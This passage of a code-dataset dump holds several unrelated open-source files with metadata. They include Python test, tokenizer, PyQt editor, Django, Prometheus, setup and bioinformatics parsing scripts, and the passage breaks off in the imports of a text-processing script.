self.assertAlmostEqual(self.jup.gravity, 25.916, places=2)\n\n # self.assertAlmostEqual(self.earth.gravity,9.819,places=2)\n\n def test_fitparams(self):\n earth_params = self.earth.fitting_parameters()\n\n self.assertIn('planet_radius', earth_params)\n self.assertIn('planet_mass', earth_params)\n","sub_path":"tests/test_planet.py","file_name":"test_planet.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"490308538","text":"import tokenize, io, types, parser, symbol, collections, token\r\n\r\n\r\nclass Token(types.SimpleNamespace):\r\n def __str__(self):\r\n return '{}{!r}'.format(self.vrsta, self.sadržaj)\r\n\r\n\r\ndef tokeni(ulaz):\r\n for token in tokenize.tokenize(io.BytesIO(ulaz.encode('utf8')).readline):\r\n t = Token()\r\n t.kod = token.type\r\n t.vrsta_kod = token.exact_type\r\n t.tip = tokenize.tok_name[token.type]\r\n t.vrsta = tokenize.tok_name[token.exact_type]\r\n t.sadržaj = token.string\r\n t.redak, t.stupac = token.start\r\n t.kraj_redak, t.kraj_stupac = token.end\r\n t.linija = token.line\r\n if t.tip not in {'ENCODING', 'ENDMARKER'}:\r\n yield t\r\n\r\n\r\ndef leksička_analiza(ulaz):\r\n try:\r\n for token in tokeni(ulaz):\r\n print(token)\r\n except tokenize.TokenError:\r\n print('Greška: nezavršen ulaz')\r\n\r\n\r\ndef uvrsti_simbole(stablo):\r\n korijen, *podstabla = stablo\r\n if korijen in symbol.sym_name:\r\n pravilo = [symbol.sym_name[korijen]]\r\n pravilo.extend(map(uvrsti_simbole, podstabla))\r\n return pravilo\r\n elif korijen in token.tok_name:\r\n sadržaj, = podstabla\r\n return token.tok_name[korijen] + ':' + sadržaj\r\n\r\n\r\ndef sintaksna_analiza(ulaz):\r\n for funkcija in parser.expr, parser.suite:\r\n try:\r\n stablo = funkcija(ulaz).tolist()\r\n except SyntaxError as greška:\r\n zadnja_greška = greška\r\n else:\r\n if stablo[-2:] == [[token.NEWLINE, ''], [token.ENDMARKER, '']]:\r\n del stablo[-2:]\r\n return uvrsti_simbole(stablo)\r\n poruka, (izvor, broj_linije, stupac, linija) = zadnja_greška.args\r\n print(linija + '^'.rjust(stupac) + ': greška')\r\n","sub_path":"ip.py","file_name":"ip.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"317366242","text":"import takeMeasurement.takeMeasurement as takeMeasurement\n\ndef monitorStart():\n \"\"\" Determines if we've started receiving an actual transmission.\n\n If something interesting is noticed (i.e. a '1'), we start paying attention \n by storing it in cache.\n\n If we continue to capture something interesting (measured by if the cache = [1, 1, 1]) \n as opposed to some noise (a random '1' amongst a list of '0's), \n we know that a real message is now being received. \n\n Return the initial part of the new message, so that capturing of the full message\n can begin.\n \n \"\"\"\n\n cache = []\n\n while len(cache) < 3: # exit loop when cache=[True]*3 i.e. when a msg is coming through\n z = takeMeasurement()\n if z: # Something interesting!\n cache.append(True) \n else: # nothing interesting\n cache = [] \n\n return cache # return the inital part of the new incoming message","sub_path":"Archive/Working Code/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"332714624","text":"from PyQt5.QtWidgets import QWidget, QGridLayout, QPushButton\nfrom PyQt5.QtCore import Qt, QSize\nfrom PyQt5.QtGui import QIcon\n\nfrom app.resources.resources import RESOURCES\nfrom app.data.database import DB\nfrom app.data.levels import LevelPrefab\n\nfrom app.editor.lib.state_editor.state_enums import MainEditorScreenStates\n\nfrom app.extensions.custom_gui import RightClickListView\nfrom app.editor.base_database_gui import DragDropCollectionModel\nfrom app.editor.tile_editor import tile_model\nfrom app.utilities import str_utils\n\n\nclass LevelDatabase(QWidget):\n def __init__(self, state_manager):\n super().__init__()\n self.state_manager = state_manager\n\n self.grid = QGridLayout()\n self.setLayout(self.grid)\n\n def deletion_func(model, index):\n return len(DB.levels) > 1\n\n self.view = RightClickListView((deletion_func, None, None), self)\n self.view.setMinimumSize(128, 320)\n self.view.setIconSize(QSize(64, 64))\n # self.view.setUniformItemSizes(True)\n self.view.currentChanged = self.on_level_changed\n self.view.doubleClicked.connect(self.on_double_click)\n\n self.model = LevelModel(DB.levels, self)\n self.view.setModel(self.model)\n\n self.model.drag_drop_finished.connect(self.catch_drag)\n\n self.button = QPushButton(\"Create New Level...\")\n self.button.clicked.connect(self.model.append)\n\n self.grid.addWidget(self.view, 0, 0)\n self.grid.addWidget(self.button, 1, 0)\n\n if len(DB.levels) == 0:\n self.create_initial_level()\n\n self.state_manager.subscribe_to_key(\n LevelDatabase.__name__, 'ui_refresh_signal', self.update_view)\n\n def on_level_changed(self, curr, prev):\n if DB.levels:\n new_level = DB.levels[curr.row()]\n self.state_manager.change_and_broadcast(\n 'selected_level', new_level.nid)\n\n def catch_drag(self):\n if DB.levels:\n index = self.view.currentIndex()\n new_level = DB.levels[index.row()]\n self.state_manager.change_and_broadcast(\n 'selected_level', new_level.nid)\n\n def on_double_click(self, index):\n if DB.levels and self.state_manager.state.main_editor_mode == MainEditorScreenStates.GLOBAL_EDITOR:\n new_level = DB.levels[index.row()]\n self.state_manager.change_and_broadcast(\n 'selected_level', new_level.nid)\n self.state_manager.change_and_broadcast(\n 'main_editor_mode', MainEditorScreenStates.LEVEL_EDITOR)\n\n def create_initial_level(self):\n nids = [level.nid for level in DB.levels]\n new_nid = str(str_utils.get_next_int(\"0\", nids))\n DB.levels.append(LevelPrefab(new_nid, 'Prologue'))\n self.model.dataChanged.emit(self.model.index(\n 0), self.model.index(self.model.rowCount()))\n first_index = self.model.index(0)\n self.view.setCurrentIndex(first_index)\n\n def update_view(self, _=None):\n self.model.layoutChanged.emit()\n # self.model.dataChanged.emit(self.model.index(0), self.model.index(self.model.rowCount()))\n\n\nclass LevelModel(DragDropCollectionModel):\n def data(self, index, role):\n if not index.isValid():\n return None\n if role == Qt.DisplayRole:\n level = self._data[index.row()]\n text = level.nid + \" : \" + level.name\n return text\n elif role == Qt.DecorationRole:\n level = self._data[index.row()]\n res = RESOURCES.tilemaps.get(level.tilemap)\n if res:\n pix = tile_model.create_tilemap_pixmap(res)\n img = QIcon(pix)\n return img\n return None\n \n def create_new(self):\n nids = [level.nid for level in DB.levels]\n nid = str(str_utils.get_next_int(\"0\", nids))\n name = \"Chapter %s\" % nid\n\n # Create new level\n new_level = LevelPrefab(nid, name)\n DB.levels.append(new_level)\n return new_level\n","sub_path":"app/editor/global_editor/level_menu.py","file_name":"level_menu.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"249932621","text":"#!/usr/bin/env python\n# coding: UTF-8\n\n# Version rapide de récup des codes Cadastre communaux à partir des csv\n# générés ici : http://suivi.openstreetmap.fr/communes/stats-cadastre/\n# liste à vérifier / compléter / méthode à revoir\n\nimport urllib2\nimport os\n\noutfile = open('code_cadastre.csv','wb')\ndict_codes_cadastre = {}\n\na_depts = ['2A','2B']\nfor n in range(1,20)+range(21,96)+range(971,975):\n\ta_depts.append(str(n).rjust(2,'0'))\n\nfor d in a_depts:\n\turl = 'http://suivi.openstreetmap.fr/communes/stats-cadastre/{:s}.csv'.format(d)\n\ttry:\n\t\tr = urllib2.urlopen(url)\n#\t\ts = r.read()\n\t\tfor line in r:\n\t\t\tcode_cadastre = line.split(',')[2]\n#\t\t\tprint(line)\n#\t\t\tprint(line.split(','))\n#\t\t\tos._exit(0)\n\t\t\tif code_cadastre not in dict_codes_cadastre:\n\t\t\t\toutfile.write(('{:s},{:s},{:s}').format(d,d.rjust(3,'0'),line))\n\t\t\t\tdict_codes_cadastre[code_cadastre]=1\n\texcept urllib2.HTTPError:\n\t\tprint ('*** Echec sur {:s}'.format(url))\n\noutfile.close()\n\n","sub_path":"create_code_cadastre.py","file_name":"create_code_cadastre.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"161456650","text":"#!/usr/bin/env python\n\nimport io\nimport os\nimport re\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\n\ndef read(path, encoding='utf-8'):\n path = os.path.join(os.path.dirname(__file__), path)\n with io.open(path, encoding=encoding) as fp:\n return fp.read()\n\n\ndef version(path):\n \"\"\"Obtain the packge version from a python file e.g. pkg/__init__.py\n\n See .\n \"\"\"\n version_file = read(path)\n version_match = re.search(r\"\"\"^__version__ = ['\"]([^'\"]*)['\"]\"\"\",\n version_file, re.M)\n if version_match:\n return version_match.group(1)\n raise RuntimeError(\"Unable to find version string.\")\n\n\nVERSION = version('kdsphere/__init__.py')\n\nsetup(name='kdsphere',\n version=VERSION,\n description=\"kdsphere for spherical data based on scipy's cKDTree\",\n author='Jake Vanderplas',\n author_email='jakevdp@uw.edu',\n packages=['kdsphere',\n 'kdsphere.tests'],\n setup_requires=['pytest-runner', 'future'],\n install_requires=['future',\n 'numpy>=1.6',\n 'scipy'],\n tests_require=['pytest',\n 'nose',\n 'astropy'],\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Console',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: C',\n 'Programming Language :: C++'])\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"511570346","text":"#!/usr/bin/python\n\nimport os\nimport sys\n\nfile_in = open(sys.argv[1], 'r')\n# file_out = open(sys.argv[2], 'w')\nfile_result = open(sys.argv[2]+\"_res.txt\", 'w')\nfile_max = open(sys.argv[2]+\"_max.txt\", 'w')\n# file_time_conv = open(sys.argv[2]+\"_timeconv.txt\", 'w')\n# file_time_data = open(sys.argv[2]+\"_timedata.txt\", 'w')\n# file_time_max = open(sys.argv[2]+\"_timemax.txt\", 'w')\n\n# for line in file_in:\n # temp = line.strip()\n # f_el,i_el = temp.split(\",\")\n # f_el_bin = (os.popen(\"./fp2bin 8 18 \"+f_el).read()).strip()\n # i_el_bin = (os.popen(\"./fp2bin 8 18 \"+i_el).read()).strip()\n # file_out.write(f_el_bin+\",\"+i_el_bin)\n # file_out.write(\"\\n\")\n # print f_el_bin + \" * \" + i_el_bin\n # print temp\n\nfor line in file_in:\n temp = line.strip()\n # print temp\n # if \"L_CURR_OUT\" in temp:\n # idx,numb = temp.split(\"=\")\n # fp = (os.popen(\"./bin2fp 8 18 \"+numb.strip()).read()).strip()\n # file_result.write(\"L_CURR_OUT[\"+idx[idx.find(\"[\")+1:idx.find(\"]\")]+\"] = \"+fp+\"\\n\")\n # elif \"F_CURR_OUT\" in temp:\n # idx,numb = temp.split(\"=\")\n # fp = (os.popen(\"./bin2fp 8 18 \"+numb.strip()).read()).strip()\n # file_result.write(\"F_CURR_OUT[\"+idx[idx.find(\"[\")+1:idx.find(\"]\")]+\"] = \"+fp+\"\\n\")\n if \"RESULT\" in temp:\n idx,numb = temp.split(\"=\")\n fp = (os.popen(\"./bin2fp 8 18 \"+numb.strip()).read()).strip()\n file_result.write(\"sum = \"+fp+\"\\n\")\n elif \"MAX =\" in temp:\n idx,numb = temp.split(\"=\")\n fp = (os.popen(\"./bin2fp 8 18 \"+numb.strip()).read()).strip()\n file_max.write(\"max = \"+fp+\"\\n\")\n # elif \"[CONV]\" in temp:\n # file_time_conv.write(temp+\"\\n\")\n # elif \"[DATA]\" in temp:\n # file_time_data.write(temp+\"\\n\")\n # elif \"[POOL]\" in temp:\n # file_time_max.write(temp+\"\\n\")\n\n\n\nfile_in.close()\nfile_result.close()\nfile_max.close()\n# file_time_conv.close()\n# file_time_data.close()\n# file_time_max.close()\n","sub_path":"flopoco_mult/sim/params/bin2fp_window.py","file_name":"bin2fp_window.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"488894135","text":"from django.conf.urls import patterns, url\nfrom vendors import views\n\nurlpatterns = patterns('',\n url(r'^$', views.index, name='index'),\n url(r'^add$', views.add_vendor, name='add_vendor'),\n url(r'^(?P[a-z0-9]{10})$', views.vendor_info, name='vendor_info'),\n url(r'^(?P[a-z0-9]{10})/catalogue$', views.vendor_catalogue, name='vendor_catalogue'),\n url(r'^(?P[a-z0-9]{10})/orders$', views.vendor_orders, name='vendor_orders'),\n)","sub_path":"vendors/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"211834607","text":"#!/usr/bin/env python \n#-*- coding: utf-8 -*-\n\nimport os\n# os.environ.setdefault('DJANGO_SETTINGS_MOUDLE', 'myblog.settings')\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"myblog.settings\")\nimport django\nif django.VERSION >= (1.7):\n django.setup()\n\ndef main():\n from audio.models import Person\n with open('oldblog.txt') as f:\n PersonList = []\n for line in f:\n name, age = line.split('****')\n PersonList.append(Person(name=name, age=age))\n\n Person.objects.bulk_create(PersonList)\n\nif __name__ == \"__main__\":\n main()\n print ('Done')\n","sub_path":"txtdb.py","file_name":"txtdb.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"228139956","text":"#!/usr/bin/env python3\n\nfrom prometheus_client import start_http_server, Summary, ProcessCollector, REGISTRY, PROCESS_COLLECTOR, PlatformCollector, PLATFORM_COLLECTOR\nimport random\nimport time\n\nREGISTRY.unregister(PROCESS_COLLECTOR)\nProcessCollector(namespace='helloworld')\nREGISTRY.unregister(PLATFORM_COLLECTOR)\nPlatformCollector(namespace='helloworld')\n\n# Create a metric to track time spent and requests made.\nREQUEST_TIME = Summary('helloworld_request_processing_seconds', 'Time spent processing request')\n\n# Decorate function with metric.\n@REQUEST_TIME.time()\ndef process_request(t):\n \"\"\"A dummy function that takes some time.\"\"\"\n time.sleep(t)\n\nif __name__ == '__main__':\n # Start up the server to expose the metrics.\n start_http_server(8000)\n # Generate some requests.\n while True:\n process_request(random.random())\n","sub_path":"metrics/prometheus_hello_world.py","file_name":"prometheus_hello_world.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"88838831","text":"import os\nfrom count_sites_in_window import count_targets_in_sliding_windows_filter_by_threshold\nfrom count_sites_in_window import merge_contiguous_windows\nfrom plot_bar_graph import plot_bar_from_window_tuple_list\n\ndef append_sensitivity_specificity(metacats_tsv, metacats_sensitivity_specificity):\n \"\"\"\n Given metacats result file, calculate Dominant Residue, Sensitivity, Specificity\n\n input: vipr_metacats_result.tsv\n file format:\n Position\tChi-square Value\tP-value\tDegree Freedom\tGroup 1 Residue Diversity\tGroup 2 Residue Diversity\n 8*\t149.785\t2.983E-33\t2\t19 E, 7 Q\t2 E, 1 H, 209 Q\n\n output:\n Position\tChi-square Value\tP-value\tDegree Freedom\tGroup 1 Residue Diversity\tGroup 2 Residue Diversity Group 1 Dominant Residue Sensitivity Specificity\n 8\t149.785\t2.983E-33\t2\t19 E, 7 Q\t2 E, 1 H, 209 Q\n \"\"\"\n with open(metacats_tsv, 'r') as infile, open(metacats_sensitivity_specificity, 'w') as outfile:\n i = 0\n count = 0\n first = True\n for line in infile:\n i += 1\n if first:\n first = False\n outfile.write(line.strip() + \"\\tGroup 1 Dominant Residue\\tSensitivity\\tSpecificity\\n\")\n else:\n line = line.strip()\n if line:\n position, chi_square_value, p_value, degree_freedom, grp1_residues, grp2_residues = line.split('\\t')\n\n # clean position formatting\n position = position.strip('*')\n\n # {key = residue, value = count}\n grp1_residue_map = grp_residues_to_map(grp1_residues)\n grp2_residue_map = grp_residues_to_map(grp2_residues)\n\n # calculate dominant_residue, sensitivity, specifity\n grp1_dominant_residue, sensitivity = get_dominant_sensitivity(grp1_residue_map)\n specificity = get_specificity(grp1_dominant_residue, grp2_residue_map)\n\n # write all fields + dominant residue, sensitivity, specificity to output file\n outfile.write(\n position + '\\t' + chi_square_value + '\\t' + p_value + '\\t' + degree_freedom + '\\t' + grp1_residues + '\\t' + grp2_residues + '\\t' + grp1_dominant_residue + '\\t' + str.format(\"{0:.3f}\", sensitivity) + '\\t' + str.format(\"{0:.3f}\", specificity) + '\\n')\n count += 1\n\n #print('wrote', count, 'lines excluding header')\n\n\ndef grp_residues_to_map(grp_residues):\n \"\"\"\n input: \"2 E, 1 H, 209 Q\"\n output: {key = residue, value = count}\n \"\"\"\n residue_map = {}\n tokens = grp_residues.split(',')\n for token in tokens:\n value, key = token.strip().split()\n residue_map[key] = value\n\n return residue_map\n\n\ndef get_dominant_sensitivity(grp1_residue_map):\n # TODO: if multiple residues are dominant, output a list\n \"\"\"\n gets the 1st dominant residue if multiple residues have the same count\n Sensitivity = TP / (TP + FN)\n TP is the number of isolates containing the dominant residue in group 1\n FN is the number of isolates containing non-dominant residue in group 1\n \"\"\"\n # get grp1 dominant\n grp1_dominant_residue = ''\n grp1_dominant_count = 0\n grp1_total_count = 0\n for residue, count in grp1_residue_map.items():\n count = int(count)\n grp1_total_count += count\n if count > grp1_dominant_count:\n grp1_dominant_residue = residue\n grp1_dominant_count = count\n\n # calculate sensitivity\n sensitivity = grp1_dominant_count / grp1_total_count\n\n return grp1_dominant_residue, sensitivity\n\n\ndef get_specificity(grp1_dominant_residue, grp2_residue_map):\n # TODO: take a list of multiple residues that are dominant\n \"\"\"\n Specificity = TN / (TN + FP)\n TN is the number of isolates containing the group 1 non-dominant residue in group 2\n FP is the number of isolates containing the group 1 dominant residue in group 2\n \"\"\"\n # get grp2 non-dominant\n grp2_non_dominant_count = 0\n grp2_total_count = 0\n for residue, count in grp2_residue_map.items():\n count = int(count)\n grp2_total_count += count\n if residue != grp1_dominant_residue:\n grp2_non_dominant_count += count\n\n # calculate specificity\n specificity = grp2_non_dominant_count / grp2_total_count\n\n return specificity\n\n\ndef filter_metacats_by_threshold(metacats_tsv, metacats_filtered_tsv, field_index, threshold):\n \"\"\"\n input: vipr_metacats_result.tsv\n Position\tChi-square Value\tP-value\tDegree Freedom\tGroup 1 Residue Diversity\tGroup 2 Residue Diversity\tGroup 1 Dominant Residue\tSensitivity\tSpecificity\n 8\t149.785\t2.983E-33\t2\t19 E, 7 Q\t2 E, 1 H, 209 Q\tE\t0.731\t0.991\n\n ...\n output: records filtered by threshold at field_index\n \"\"\"\n with open(metacats_tsv, 'r') as infile, open(metacats_filtered_tsv, 'w') as outfile:\n i = 0\n count = 0\n first = True\n for line in infile:\n if first:\n first = False\n outfile.write(line)\n else:\n line = line.strip()\n if line:\n i += 1\n tokens = line.split('\\t')\n if field_index >= len(tokens):\n raise IndexError(\"Index out of bounds\")\n if float(tokens[field_index]) >= threshold:\n outfile.write(line + '\\n')\n count += 1\n\n print(\"# meta-cats positions:\", i)\n print('# meta-cats positions with field index', field_index, ' >= ', threshold, ': ', count)\n\n\ndef filter_metacats_by_threshold(metacats_tsv, metacats_filtered_tsv, field_index1, field_index2, threshold):\n \"\"\"\n input: vipr_metacats_result.tsv\n Position\tChi-square Value\tP-value\tDegree Freedom\tGroup 1 Residue Diversity\tGroup 2 Residue Diversity\tGroup 1 Dominant Residue\tSensitivity\tSpecificity\n 8\t149.785\t2.983E-33\t2\t19 E, 7 Q\t2 E, 1 H, 209 Q\tE\t0.731\t0.991\n\n ...\n output:\n tsv: records filtered by threshold at field_index1, field_index2\n position_list\n \"\"\"\n with open(metacats_tsv, 'r') as infile, open(metacats_filtered_tsv, 'w') as outfile:\n position_list = []\n i = 0\n count = 0\n first = True\n for line in infile:\n # write file header\n if first:\n first = False\n line = line.strip()\n if line:\n tokens = line.split('\\t')\n if field_index1 >= len(tokens) or field_index2 >= len(tokens):\n raise IndexError(\"Index out of bounds\")\n field1 = tokens[field_index1]\n field2 = tokens[field_index2]\n outfile.write(line + '\\n')\n else:\n line = line.strip()\n if line:\n i += 1\n tokens = line.split('\\t')\n\n if float(tokens[field_index1]) >= threshold and float(tokens[field_index2]) >= threshold:\n position_list.append(int(tokens[0]))\n outfile.write(line + '\\n')\n count += 1\n\n print(\"# meta-cats positions:\", i)\n print('# meta-cats positions with ' + field1 + ', ' + field2 + ' >= ' + str(threshold) + ': ' + str(count))\n return position_list\n\n\nif __name__ == '__main__':\n directory_str = \"/Users/yuzhang/Documents/Enterovirus_diagnosis/MetaCATS_results/\"\n directory = os.fsencode(directory_str)\n sensitivity_index = 7\n specificity_index = 8\n threshold = 0.95\n alignment_length = 2327\n window_size = 15\n count_threshold0 = 0\n count_threshold1 = 3\n count_threshold2 = 5\n\n for file in os.listdir(directory):\n filename = os.fsdecode(file)\n if filename.startswith(\"EV_099_RV_vs_all_minus_RV\"):\n #if filename.endswith(\".tsv\"):\n print(filename)\n append_sensitivity_specificity (directory_str + filename,\n '/Users/yuzhang/Documents/Enterovirus_diagnosis/sensitivity_specificity/' + filename.strip('.tsv') + \"_sensitivity_specificity\")\n position_list = filter_metacats_by_threshold('/Users/yuzhang/Documents/Enterovirus_diagnosis/sensitivity_specificity/' + filename.strip('.tsv') + \"_sensitivity_specificity\", '/Users/yuzhang/Documents/Enterovirus_diagnosis/sensitivity_specificity/' + filename.strip('.tsv') + \"_sensitivity_specificity_095\", sensitivity_index, specificity_index, threshold)\n #print(position_list)\n\n all_windows_list = count_targets_in_sliding_windows_filter_by_threshold(position_list, alignment_length, window_size, '/Users/yuzhang/Documents/Enterovirus_diagnosis/sliding_windows/' + filename.strip('.tsv') + \"_sensitivity_specificity_095_window_position_counts>=\" + str(count_threshold0), count_threshold0)\n #print(all_windows_list) # correct\n plot_bar_from_window_tuple_list(all_windows_list, '/Users/yuzhang/Documents/Enterovirus_diagnosis/sliding_windows/' + filename.strip('.tsv') + \"_sensitivity_specificity_095.png\", 0, 2313, 0, 10)\n\n window_list = count_targets_in_sliding_windows_filter_by_threshold(position_list, alignment_length, window_size, '/Users/yuzhang/Documents/Enterovirus_diagnosis/sliding_windows/' + filename.strip('.tsv') + \"_sensitivity_specificity_095_window_position_counts>=\" + str(count_threshold1), count_threshold1)\n merge_contiguous_windows(window_list, window_size, alignment_length, '/Users/yuzhang/Documents/Enterovirus_diagnosis/sliding_windows/' + filename.strip('.tsv') + \"_sensitivity_specificity_095_window_position_counts>=\" + str(count_threshold1) + \"_merged_windows\")\n\n window_list = count_targets_in_sliding_windows_filter_by_threshold(position_list, alignment_length, window_size, '/Users/yuzhang/Documents/Enterovirus_diagnosis/sliding_windows/' + filename.strip('.tsv') + \"_sensitivity_specificity_095_window_position_counts>=\" + str(count_threshold2), count_threshold2)\n merge_contiguous_windows(window_list, window_size, alignment_length, '/Users/yuzhang/Documents/Enterovirus_diagnosis/sliding_windows/' + filename.strip('.tsv') + \"_sensitivity_specificity_095_window_position_counts>=\" + str(count_threshold2) + \"_merged_windows\")\n print(\"----------------------------------------------------------------------------------------------\")\n\n '''\n grp1 = \"254 I, 1 L, 9 X\"\n grp2 = \"493 -, 154 A, 4147 F, 4 I, 8 L, 11179 M, 2 T, 1 X\"\n grp1_residue_map = grp_residues_to_map(grp1)\n grp2_residue_map = grp_residues_to_map(grp2)\n print(\"grp1:\", grp1_residue_map)\n print(\"grp2:\", grp2_residue_map)\n\n grp1_dominant_residue, sensitivity = get_dominant_sensitivity(grp1_residue_map)\n specificity = get_specificity(grp1_dominant_residue, grp2_residue_map)\n print(\"grp1_dominant_residue: \", grp1_dominant_residue)\n print(\"sensitivity: \", sensitivity, str.format(\"{0:.3f}\", sensitivity))\n print(\"specificity: \", specificity, str.format(\"{0:.3f}\", specificity))\n\n infile = '/Users/yuzhang/Documents/Enterovirus_diagnosis/MetaCATS_results/EV_099_CV-A6_vs_all_minus_CV-A6.tsv'\n outfile = '/Users/yuzhang/Documents/Enterovirus_diagnosis/sensitivity_specificity/EV_099_CV-A6_vs_all_minus_CV-A6_sensitivity_specificity.tsv'\n outfile_filtered = '/Users/yuzhang/Documents/Enterovirus_diagnosis/sensitivity_specificity/EV_099_CV-A6_vs_all_minus_CV-A6_sensitivity_specificity_095.tsv'\n outfile_window_position_counts = '/Users/yuzhang/Documents/Enterovirus_diagnosis/sliding_windows/EV_099_CV-A6_vs_all_minus_CV-A6_sensitivity_specificity_095_window_counts.tsv'\n\n append_sensitivity_specificity(infile, outfile)\n\n sensitivity_index = 7\n specificity_index = 8\n position_list = filter_metacats_by_threshold(outfile, outfile_filtered, sensitivity_index, specificity_index, 0.95)\n\n alignment_length = 2327\n window_size = 15\n count_threshold = 3\n position_list = count_targets_in_sliding_windows_filter_by_threshold(position_list, alignment_length, window_size, outfile_window_position_counts, count_threshold)\n '''\n","sub_path":"metacats_parser.py","file_name":"metacats_parser.py","file_ext":"py","file_size_in_byte":12182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"627941985","text":"import time\n\n# this a decorator or higher order function\ndef measure_runtime(func):\n start = time.time()\n func()\n end = time.time()\n print(end - start)\n\ndef powers(limit):\n return [x**2 for x in range(limit)]\n\nmeasure_runtime(lambda: powers(500000))\n\n\nimport timeit\n\nprint(timeit.timeit(\"[x**2 for x in range(10)]\"))\nprint(timeit.timeit(\"list(map(lambda x: x**2, range(10)))\"))\n","sub_path":"advanced/timing_code.py","file_name":"timing_code.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"382824616","text":"from django.core.management.base import BaseCommand\nfrom django.contrib.auth.models import Group, Permission, ContentType\nfrom apps.news.models import News, NewsCategor, Banner, Comment\nfrom apps.course.models import Course, CourseCategory, Teacher, CourseOrder\nfrom apps.payinfo.models import Payinfo\n\n\n# 命名格式必须为Command继承自BaseCommand类\nclass Command(BaseCommand):\n # 处理命令的逻辑代码\n def handle(self, *args, **options):\n # 1.编辑组(管理文章/管理课程/管理评论/管理轮播图)\n edit_content_types = [\n ContentType.objects.get_for_model(News),\n ContentType.objects.get_for_model(NewsCategor),\n ContentType.objects.get_for_model(Banner),\n ContentType.objects.get_for_model(Comment),\n ContentType.objects.get_for_model(Course),\n ContentType.objects.get_for_model(CourseCategory),\n ContentType.objects.get_for_model(Teacher),\n ContentType.objects.get_for_model(Payinfo),\n ]\n edit_permissions = Permission.objects.filter(content_type__in=edit_content_types)\n if not Group.objects.filter(name='编辑').exists():\n edit_group = Group.objects.create(name='编辑')\n edit_group.permissions.set(edit_permissions)\n edit_group.save()\n self.stdout.write(self.style.SUCCESS('编辑组创建完成!'))\n # 2.财务组(课程订单/付费资讯订单)\n finance_content_types = [\n ContentType.objects.get_for_model(CourseOrder)\n ]\n finance_permissions = Permission.objects.filter(content_type__in=finance_content_types)\n if not Group.objects.filter(name='财务').exists():\n finance_group = Group.objects.create(name='财务')\n finance_group.permissions.set(finance_permissions)\n finance_group.save()\n self.stdout.write(self.style.SUCCESS('财务组创建完成!'))\n # 3.管理员组(全部权限)\n admin_permissions = edit_permissions.union(finance_permissions)\n if not Group.objects.filter(name='管理员').exists():\n admin_group = Group.objects.create(name='管理员')\n admin_group.permissions.set(admin_permissions)\n admin_group.save()\n self.stdout.write(self.style.SUCCESS('管理员组创建完成!'))\n # 4.超级管理员\n","sub_path":"xfz/apps/xfzauth/management/commands/initgroup.py","file_name":"initgroup.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"215012900","text":"# create a 300x300 canvas.\n# create a square drawing function that takes 2 parameters:\n# the square size, and the fill color,\n# and draws a square of that size and color to the center of the canvas.\n# create a loop that fills the canvas with rainbow colored squares.\n\nfrom tkinter import *\nimport random\n#import webcolors\n\ndef draw_square(a, color):\n\n root = Tk()\n\n w = 300\n h = 300\n\n canvas = Canvas(root, width=w, height=h)\n canvas.pack()\n\n m = w/2\n b = a\n\n line = canvas.create_polygon(m-(a/2), m-(b/2), m+(a/2), m-(b/2), m+(a/2), m+(b/2), m-(a/2), m+(b/2), fill=color)\n root.mainloop()\n\n\"\"\"def rgb():\n return webcolors.rgb_to_hex([random.randrange(0,256) for _ in range(3)])\"\"\"\n\ndef fill_square(a):\n\n root = Tk()\n\n w = 300\n h = 300\n\n canvas = Canvas(root, width=w, height=h)\n canvas.pack()\n\n m = w/2\n b = a\n\n for i in range(w//a):\n for j in range(h//b):\n RR=(\"%02x\"%(220-i*15))\n GG=(\"%02x\"%(j*10+60))\n BB=(\"%02x\"%(255-i*10))\n ge=\"#\"\n color=ge+RR+GG+BB\n canvas.create_polygon(i*a, j*b, (i+1)*a, 0+j*b, (i+1)*a, (j+1)*b, i*a, (j+1)*b, fill=color)\n\n\n root.mainloop()\n\n\n#draw_square(100, 'orange')\nfill_square(20)\n","sub_path":"week-04/day-3/11.2.py","file_name":"11.2.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"415704383","text":"# -*- coding: utf-8 -*-\n\n# gathering snmp data\nfrom __future__ import division\nimport os\nimport datetime\nimport random\nimport time\nimport nltk\nimport re\nimport string\n#from xapian_case.utils import cut, load_scws\nfrom global_utils_do import cut, load_scws\nfrom gensim import 